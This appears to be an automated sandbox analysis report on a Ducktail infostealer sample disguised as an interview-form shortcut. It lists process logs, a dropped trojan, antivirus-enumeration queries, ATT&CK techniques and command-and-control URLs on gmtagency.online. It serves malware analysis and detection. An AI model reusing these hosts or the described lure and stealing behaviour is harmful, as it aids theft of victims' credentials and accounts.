Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation

Source: C:\Windows\Temp\svczHost.exe

Code function: 27_2_00007FF7C112BFE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

27_2_00007FF7C112BFE0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: powershell.exe, 00000010.00000002.3321545865.0000012C3719C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000005.00000002.2519178536.000001783C821000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2359401623.0000017822489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3335124781.0000012C371E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Ducktail

Source: Yara match	File source: amsi64_3372.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6204, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3372, type: MEMORYSTR

Remote Access Functionality

Yara detected Ducktail

Source: Yara match	File source: amsi64_3372.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6204, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3372, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	321 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 Windows Service	1 Extra Window Memory Injection	1 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	1 Software Packing	Security Account Manager	125 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	5 PowerShell	Login Hook	11 Process Injection	1 DLL Side-Loading	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	11 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Online Interview Scheduling Form.lnk	11%	ReversingLabs	Binary.Trojan.Pantera
Online Interview Scheduling Form.lnk	24%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Temp\svczHost.exe	32%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b83770e2b3180	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97	0%	Avira URL Cloud	safe
https://gmtagency.online/StaticFile/RdpService/91	0%	Avira URL Cloud	safe
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff7ba9c62dc379cc23851a0	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/c	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/30bb492ec87899a2b4a8fa5c9eeec469cb660094eba33581c6dea113fbc01c861a0f7	0%	Avira URL Cloud	safe
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b81af370a0fc53a2749dd204bd2d59a650	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/87fdaf0280adf3fbc48b0ff42350af2fbd4ec7bb2f1f7602601568418f7576395f467672b733887fd46f2dde4c83f0005cc757052184d3f214f46c0b0f0cf5998c7d55a818fe1e93fa36f3bff1d990d863cd0a412d91160b768347b3969805612e5dc8bc7a45d72cd6061123b65c9398	0%	Avira URL Cloud	safe
http://gmtagency.online	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/87fdaf0280adf3fbc48b0ff42350af2fbd4ec7bb2f1f7602601568418f7576395f467	0%	Avira URL Cloud	safe
http://crl.m:	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/30bb492ec87899a2b4a8fa5c9eeec469cb660094eba33581c6dea113fbc01c861a0f732c16a5d6a1c436c513590ee7ddfc594f22cd2ed0767e9af9a14520fa71c6f1ceccf1991e36a5391763db9ad6583f43343277a3bbe69d7a76e3b9c488ab	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/282c5801f46fcda2f05a0753c406ba90e	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97b78654a883999182a054047890c863ba38cd142dc11cce8f76106379ad2e15601f04be4f6408483c515afddf40f1a60a87185af95c3d6e14b1b85f1d36ed69abb735a67351e2128ffb73d449c3b	0%	Avira URL Cloud	safe
https://gmtagency.online/file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5292ac48064cc9f6b0f0207f961cf888ab6d838c88b93e528dcb49285dc5d3868388891d022d7c4d5917e79efb77320897b36777029f8dbedbda7d9256fa/Windows%20Defender/4/4/user/196	100%	Avira URL Cloud	malware
https://gmtagency.online/file2/cebf0425bc9318b5b618fcaa326c0aee10c71adae93aa54b3e8d9f64db93ac93d8e02	0%	Avira URL Cloud	safe
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff	0%	Avira URL Cloud	safe
https://gmtagency.online	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/cX	0%	Avira URL Cloud	safe
https://gmtagency.online/file2/282c5801f46fcda2f05a0753c406ba90ef61497ac93e4afda4a01872ecfc3b3b0547c	0%	Avira URL Cloud	safe
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1ed	0%	Avira URL Cloud	safe
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d79X	0%	Avira URL Cloud	safe
https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b83770e2b318095af45e58b24db407ff2f	0%	Avira URL Cloud	safe
http://gmtagency.online/api/check	0%	Avira URL Cloud	safe
